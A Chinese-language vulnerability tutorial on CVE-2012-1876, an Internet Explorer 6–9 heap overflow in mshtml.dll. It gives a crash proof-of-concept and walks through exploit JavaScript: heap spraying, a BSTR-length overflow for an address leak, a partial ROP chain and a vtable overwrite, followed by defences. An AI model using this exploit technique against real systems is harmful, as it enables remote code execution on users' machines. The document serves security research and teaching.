Internet Explorer漏洞分析(一)——CVE-2012-1876
字数 1540 2025-08-10 08:28:37
CVE-2012-1876 Internet Explorer 漏洞分析与利用教学文档
0x01 漏洞概述
1.1 基本信息
- 漏洞编号: CVE-2012-1876
- 漏洞类型: 堆溢出(Heap Overflow)
- 影响范围: 远程代码执行(RCE)
- CVSS 2.0评分: 9.3
- 受影响版本: Internet Explorer 6-9, 10 Consumer Preview
- 修复方案: MS12-037安全更新
1.2 漏洞原理
漏洞存在于mshtml.dll中的CTableLayout::CalculateMinMax函数。该函数在循环向堆分配的内存缓冲区写入数据时,未正确校验<col>标签的span属性值。攻击者可通过精心构造的span属性值导致堆溢出,进而实现远程代码执行。
0x02 环境搭建
2.1 分析环境配置
- 操作系统: Windows XP Service Pack 3
- 浏览器版本: Internet Explorer 8.0.6001.18702
- 关键模块: mshtml.dll 8.0.6001.18702
- 调试工具: WinDbg
2.2 调试环境准备
- 使用gflags.exe为iexplore.exe开启页堆:
gflags.exe /i iexplore.exe +hpa - 启动WinDbg并附加到iexplore.exe进程
- 启用子进程调试:
.childdbg 1
0x03 漏洞分析
3.1 POC分析
<html>
<body>
<table style="table-layout:fixed">
<col id="132" width="41" span="1"> </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
3.2 关键函数分析
漏洞位于CTableLayout::CalculateMinMax函数中,具体问题如下:
-
内存分配逻辑:
- 函数根据
<col>标签的span属性值之和(span_sum)决定分配内存大小 - 当
span_sum小于4时,分配固定0x70大小的堆块 - 当
span_sum不小于4时,分配0x1C*span_sum大小的堆块
- 函数根据
-
写入逻辑缺陷:
- 分配完成后,会将
span_sum写入ebx+98h位置 - 将
span_sum<<2写入ebx+94h位置 - 第二次执行时不会重新分配内存,而是直接使用上次分配的堆块
- 如果修改后的
span值大于修改前值,会导致堆溢出
- 分配完成后,会将
3.3 崩溃点分析
崩溃发生在CTableColCalc::AdjustForCol函数中,当尝试向已分配堆块之外的内存写入数据时触发。
0x04 漏洞利用
4.1 利用步骤概述
- Heap Spray布局内存
- 释放特定内存区域
- 使用
<col>标签占位释放的内存 - 触发堆溢出修改BSTR长度
- 通过越界读取获取虚表指针计算基址
- 再次Heap Spray布局ROP链和Shellcode
- 触发第二次堆溢出修改虚表指针
4.2 详细利用代码分析
4.2.1 初始内存布局
var leak_index = -1;
var dap = "EEEE";
while (dap.length < 480) dap += dap;
var padding = "AAAA";
while (padding.length < 480) padding += padding;
var filler = "BBBB";
while (filler.length < 480) filler += filler;
// 内存喷射
var arr = new Array();
var rra = new Array();
var div_container = document.getElementById("test");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
rra[i] = dap.substring(0, (0x100-6)/2); // E
arr[i] = padding.substring(0, (0x100-6)/2); // A
arr[i+1] = filler.substring(0, (0x100-6)/2); // B
var obj = document.createElement("button");
div_container.appendChild(obj);
}
// 释放部分内存
for (var i=200; i<500; i+=2) {
rra[i] = null;
CollectGarbage();
}
4.2.2 占位释放的内存
<table style="table-layout:fixed"><col id="0" width="41" span="9"> </col></table>
<table style="table-layout:fixed"><col id="1" width="41" span="9"> </col></table>
...
<table style="table-layout:fixed"><col id="132" width="41" span="9"> </col></table>
4.2.3 第一次溢出
var obj_col = document.getElementById("132");
obj_col.span = 19; // 触发第一次溢出
4.2.4 信息泄露
function over_trigger() {
var leak_addr = -1;
for (var i = 0; i < 500; i++) {
if (arr[i].length > (0x100-6)/2) { // 找到被溢出的BSTR
leak_index = i;
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
mshtmlbase = leak_addr - Number(0x001582b8); // 计算基址
break;
}
}
// ... 错误处理
}
4.2.5 ROP链构造
function rop_chain(mshtmlbase) {
var arr = [
mshtmlbase + Number(0x00001031),
mshtmlbase + Number(0x00002c78), // pop ebp; retn
mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot)
// ... 更多ROP gadget
];
return arr;
}
4.2.6 最终利用
function smash_vtable() {
var obj_col_0 = document.getElementById("132");
obj_col_0.width = "1178993"; // 覆盖虚表指针 0x07070024
obj_col_0.span = "44"; // 覆盖长度
}
// 定时触发
setTimeout("over_trigger();",1);
setTimeout("heap_spray();",400);
setTimeout("smash_vtable();",700);
0x05 防御措施
- 及时更新: 应用Microsoft提供的安全更新MS12-037
- 缓解措施:
- 启用DEP(数据执行保护)
- 使用EMET(增强缓解体验工具包)
- 禁用Active Scripting
- 开发建议:
- 对所有用户输入进行严格验证
- 使用安全的字符串处理函数
- 实现堆保护机制如Heap Cookies
0x06 参考链接
本教学文档详细分析了CVE-2012-1876漏洞的原理、利用方法及防御措施,适用于安全研究人员进行漏洞分析和防护方案设计。实际利用时请注意法律和道德规范。